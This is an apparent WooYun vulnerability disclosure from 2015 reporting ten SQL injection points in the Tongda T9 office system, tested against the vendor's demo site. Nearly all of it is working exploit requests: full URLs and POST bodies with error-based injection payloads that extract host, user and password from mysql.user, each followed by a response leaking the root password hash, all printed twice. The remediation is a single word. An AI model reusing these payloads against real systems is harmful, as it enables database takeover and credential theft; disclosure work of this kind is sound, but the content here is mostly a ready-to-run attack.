当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101043

漏洞标题:通达T9系统sql注射10处打包2(demo站点root权限)

相关厂商:通达信科

漏洞作者: 路人甲

提交时间:2015-03-13 10:48

修复时间:2015-06-14 10:06

公开时间:2015-06-14 10:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-13: 细节已通知厂商并且等待厂商处理中
2015-03-16: 厂商已经确认,细节仅向厂商公开
2015-03-19: 细节向第三方安全合作伙伴开放
2015-05-10: 细节向核心白帽子及相关领域专家公开
2015-05-20: 细节向普通白帽子公开
2015-05-30: 细节向实习白帽子公开
2015-06-14: 细节向公众公开

简要描述:

T9智能管理平台是基于B/S架构,灵活、稳定、安全、高性能的办公系统。采用自主研发的引擎技术,提供强大的工作流和公文流程管理功能,可完全根据客户需求定制办公门户平台。

详细说明:

测试地址 http://t9.go2oa.com/t9/core/frame/webos/index.jsp
测试帐号及密码 oa/无
注入1:
http://t9.go2oa.com/t9/t9/core/module/org_select/act/T9OrgSelectModule/getPersonTree.act?id=(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回结果:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入2:
http://t9.go2oa.com/t9/t9/core/module/org_select/act/T9OrgSelectModule/getPersonTree.act?id=6%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回结果:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入3:
http://t9.go2oa.com/t9/t9/core/funcs/calendar/act/T9TaskAct/selectTaskById.act?seqId=1%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回结果:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入4:
http://t9.go2oa.com/t9/t9/core/funcs/notify/act/T9NotifyShowAct/queryNotify2.act?ascDesc=1&field=
post:fromId=1125'&fromIdName=%E5%8A%9E%E5%85%AC%E4%BA%BA%E5%91%98&format=&typeId=&subject=&beginDate=&endDate=&content=&dtoClass=t9.core.funcs.notify.data.T9Notify&_=
返回结果:
{"rtState":"1", "rtMsrg":"
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') order by TOP desc, BEGIN_DATE desc,SEND_TIME desc' at line 1
", "rtData":""}
注入5:
http://t9.go2oa.com/t9/t9/core/funcs/news/act/T9NewsShowAct/queryNews.act?pageIndex=1&showLength=5&ascDesc=1&field=NEWS_TIME
post:providerName=%E5%8A%9E%E5%85%AC%E4%BA%BA%E5%91%98&format=&typeId=&subject=&beginDate=&endDate=&content=&dtoClass=t9.core.funcs.news.data.T9News&provider=1125) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
返回:
{"rtState":"1", "rtMsrg":"
Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1
", "rtData":""}
注入6:
http://t9.go2oa.com/t9/t9/core/funcs/calendar/act/T9TaskAct/selectTaskByTerm.act
post:
minDate=&maxDate=&taskStatus=&important=&taskType='&content=tt
返回:
{"rtState":"1", "rtMsrg":"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\' order by BEGIN_DATE' at line 1", "rtData":""}
注入7:
http://t9.go2oa.com/t9/t9/core/funcs/system/ispirit/n12/group/act/T9ImGroupAct/startGroup.act
post:
seqId=6' and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
返回结果:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入8:
http://t9.go2oa.com/t9/t9/core/funcs/system/ispirit/n12/group/act/T9ImGroupAct/deleteGroup.act
post:
seqId=8) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
返回结果:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入9:
http://t9.go2oa.com/t9/t9/subsys/oa/hr/manage/act/T9HrStaffIncentiveAct/getUserName.act
post:
userIdStr=1125) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
返回结果:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入10:
http://t9.go2oa.com/t9/t9/core/act/T9Code2DescAct/code2Desc.act
post:
queryParam=1124) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
%3BPERSON%2CSEQ_ID%2CUSER_NAME&_=
返回结果:
{"rtState":"1", "rtMsrg":"加载代码失败Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}

漏洞证明:

测试地址 http://t9.go2oa.com/t9/core/frame/webos/index.jsp
测试帐号及密码 oa/无
注入1:
http://t9.go2oa.com/t9/t9/core/module/org_select/act/T9OrgSelectModule/getPersonTree.act?id=(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回结果:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入2:
http://t9.go2oa.com/t9/t9/core/module/org_select/act/T9OrgSelectModule/getPersonTree.act?id=6%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回结果:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入3:
http://t9.go2oa.com/t9/t9/core/funcs/calendar/act/T9TaskAct/selectTaskById.act?seqId=1%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回结果:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入4:
http://t9.go2oa.com/t9/t9/core/funcs/notify/act/T9NotifyShowAct/queryNotify2.act?ascDesc=1&field=
post:fromId=1125'&fromIdName=%E5%8A%9E%E5%85%AC%E4%BA%BA%E5%91%98&format=&typeId=&subject=&beginDate=&endDate=&content=&dtoClass=t9.core.funcs.notify.data.T9Notify&_=
返回结果:
{"rtState":"1", "rtMsrg":"
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') order by TOP desc, BEGIN_DATE desc,SEND_TIME desc' at line 1
", "rtData":""}
注入5:
http://t9.go2oa.com/t9/t9/core/funcs/news/act/T9NewsShowAct/queryNews.act?pageIndex=1&showLength=5&ascDesc=1&field=NEWS_TIME
post:providerName=%E5%8A%9E%E5%85%AC%E4%BA%BA%E5%91%98&format=&typeId=&subject=&beginDate=&endDate=&content=&dtoClass=t9.core.funcs.news.data.T9News&provider=1125) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
返回:
{"rtState":"1", "rtMsrg":"
Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1
", "rtData":""}
注入6:
http://t9.go2oa.com/t9/t9/core/funcs/calendar/act/T9TaskAct/selectTaskByTerm.act
post:
minDate=&maxDate=&taskStatus=&important=&taskType='&content=tt
返回:
{"rtState":"1", "rtMsrg":"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\' order by BEGIN_DATE' at line 1", "rtData":""}
注入7:
http://t9.go2oa.com/t9/t9/core/funcs/system/ispirit/n12/group/act/T9ImGroupAct/startGroup.act
post:
seqId=6' and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
返回结果:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入8:
http://t9.go2oa.com/t9/t9/core/funcs/system/ispirit/n12/group/act/T9ImGroupAct/deleteGroup.act
post:
seqId=8) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
返回结果:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入9:
http://t9.go2oa.com/t9/t9/subsys/oa/hr/manage/act/T9HrStaffIncentiveAct/getUserName.act
post:
userIdStr=1125) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
返回结果:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入10:
http://t9.go2oa.com/t9/t9/core/act/T9Code2DescAct/code2Desc.act
post:
queryParam=1124) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
%3BPERSON%2CSEQ_ID%2CUSER_NAME&_=
返回结果:
{"rtState":"1", "rtMsrg":"加载代码失败Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-03-16 10:06

厂商回复:

T9产品已停止销售

最新状态:

暂无